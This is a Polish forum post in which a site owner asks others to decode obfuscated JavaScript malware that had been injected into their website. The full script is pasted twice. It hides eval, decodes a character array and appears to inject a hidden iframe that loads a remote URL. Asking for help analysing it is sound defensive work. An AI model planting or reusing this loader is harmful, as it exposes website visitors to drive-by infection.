Ostatnio moja strona została zainfekowana malware. Pozbyłem się już go, ale jestem ciekaw co ten javascript miał na celu. Ktoś jest w stanie go rozszyfrować?
Kod
<!--0247a1-->
<script type="text/javascript" language="javascript">
if(020===0x10)v="va"+"l";try{faweb++}catch(btawetb)
{
try
{
fve^v
}
catch(btawt4)
{
w=window;e=w["e".concat(v)];
}
}
if(1)
{
f=new Array(40,101,115,110,98,114,105,110,108,40,40,11,10,122,11,10,31,116,97,113,30,97,
31,59,32,99,109,99,116,107,101,109,114,46,98,112,101,96,114,101,68,106,101,108,99
,110,115,38,39,104,100,114,96,107,101,38,39,59,12,8,13,9,30,97,45,113,114,98,30,6
1,31,37,104,115,114,112,57,45,47,48,81,84,77,67,87,82,74,73,77,67,82,45,64,73,89,
45,108,104,107,105,115,113,47,114,109,117,115,102,101,113,108,45,98,95,110,99,103
,100,96,114,101,44,103,110,114,114,97,109,97,101,45,110,104,111,37,59,12,8,32,96,
44,115,115,119,108,100,44,112,110,113,105,115,103,111,109,30,61,31,37,97,97,113,1
11,107,115,116,100,37,59,12,8,32,96,44,115,115,119,108,100,44,98,110,112,100,100,
112,32,60,30,39,47,37,59,12,8,32,96,44,115,115,119,108,100,44,104,100,103,103,103
,114,32,60,30,39,48,110,120,38,57,13,9,30,97,45,113,116,120,106,101,45,117,105,99
,114,104,31,59,32,38,47,112,119,37,59,12,8,32,96,44,115,115,119,108,100,44,108,10
0,100,116,31,59,32,38,47,112,119,37,59,12,8,32,96,44,115,115,119,108,100,44,116,1
10,110,32,60,30,39,48,110,120,38,57,13,9,11,10,31,103,102,39,31,100,110,97,117,10
8,99,110,115,44,103,100,114,69,107,99,109,100,108,116,65,119,73,99,38,39,96,98,11
2,107,37,41,40,11,10,31,121,13,9,30,100,110,97,117,108,99,110,115,44,119,113,103,
116,100,38,39,59,98,105,117,30,105,99,59,92,38,95,100,111,106,92,38,60,60,46,98,1
05,117,60,39,40,57,13,9,30,100,110,97,117,108,99,110,115,44,103,100,114,69,107,99
,109,100,108,116,65,119,73,99,38,39,96,98,112,107,37,41,45,95,112,111,99,110,99,6
5,104,104,106,100,39,95,41,58,11,10,31,123,13,9,123,41,39,39,59);
}
w=f;s=[];
r=String;
for(i=0;-i+442!=0;i+=1)
{
j=i;
if(e&&(031==0x19))
s=s+r["fromCharCode"]((1*w[j]+j%3));
}
if(0x10==020)
try
{
(w+s)()
}
catch(asga)
{
e("if(1)"+s+"");
}
</script>
<!--/0247a1-->
<script type="text/javascript" language="javascript">
if(020===0x10)v="va"+"l";try{faweb++}catch(btawetb)
{
try
{
fve^v
}
catch(btawt4)
{
w=window;e=w["e".concat(v)];
}
}
if(1)
{
f=new Array(40,101,115,110,98,114,105,110,108,40,40,11,10,122,11,10,31,116,97,113,30,97,
31,59,32,99,109,99,116,107,101,109,114,46,98,112,101,96,114,101,68,106,101,108,99
,110,115,38,39,104,100,114,96,107,101,38,39,59,12,8,13,9,30,97,45,113,114,98,30,6
1,31,37,104,115,114,112,57,45,47,48,81,84,77,67,87,82,74,73,77,67,82,45,64,73,89,
45,108,104,107,105,115,113,47,114,109,117,115,102,101,113,108,45,98,95,110,99,103
,100,96,114,101,44,103,110,114,114,97,109,97,101,45,110,104,111,37,59,12,8,32,96,
44,115,115,119,108,100,44,112,110,113,105,115,103,111,109,30,61,31,37,97,97,113,1
11,107,115,116,100,37,59,12,8,32,96,44,115,115,119,108,100,44,98,110,112,100,100,
112,32,60,30,39,47,37,59,12,8,32,96,44,115,115,119,108,100,44,104,100,103,103,103
,114,32,60,30,39,48,110,120,38,57,13,9,30,97,45,113,116,120,106,101,45,117,105,99
,114,104,31,59,32,38,47,112,119,37,59,12,8,32,96,44,115,115,119,108,100,44,108,10
0,100,116,31,59,32,38,47,112,119,37,59,12,8,32,96,44,115,115,119,108,100,44,116,1
10,110,32,60,30,39,48,110,120,38,57,13,9,11,10,31,103,102,39,31,100,110,97,117,10
8,99,110,115,44,103,100,114,69,107,99,109,100,108,116,65,119,73,99,38,39,96,98,11
2,107,37,41,40,11,10,31,121,13,9,30,100,110,97,117,108,99,110,115,44,119,113,103,
116,100,38,39,59,98,105,117,30,105,99,59,92,38,95,100,111,106,92,38,60,60,46,98,1
05,117,60,39,40,57,13,9,30,100,110,97,117,108,99,110,115,44,103,100,114,69,107,99
,109,100,108,116,65,119,73,99,38,39,96,98,112,107,37,41,45,95,112,111,99,110,99,6
5,104,104,106,100,39,95,41,58,11,10,31,123,13,9,123,41,39,39,59);
}
w=f;s=[];
r=String;
for(i=0;-i+442!=0;i+=1)
{
j=i;
if(e&&(031==0x19))
s=s+r["fromCharCode"]((1*w[j]+j%3));
}
if(0x10==020)
try
{
(w+s)()
}
catch(asga)
{
e("if(1)"+s+"");
}
</script>
<!--/0247a1-->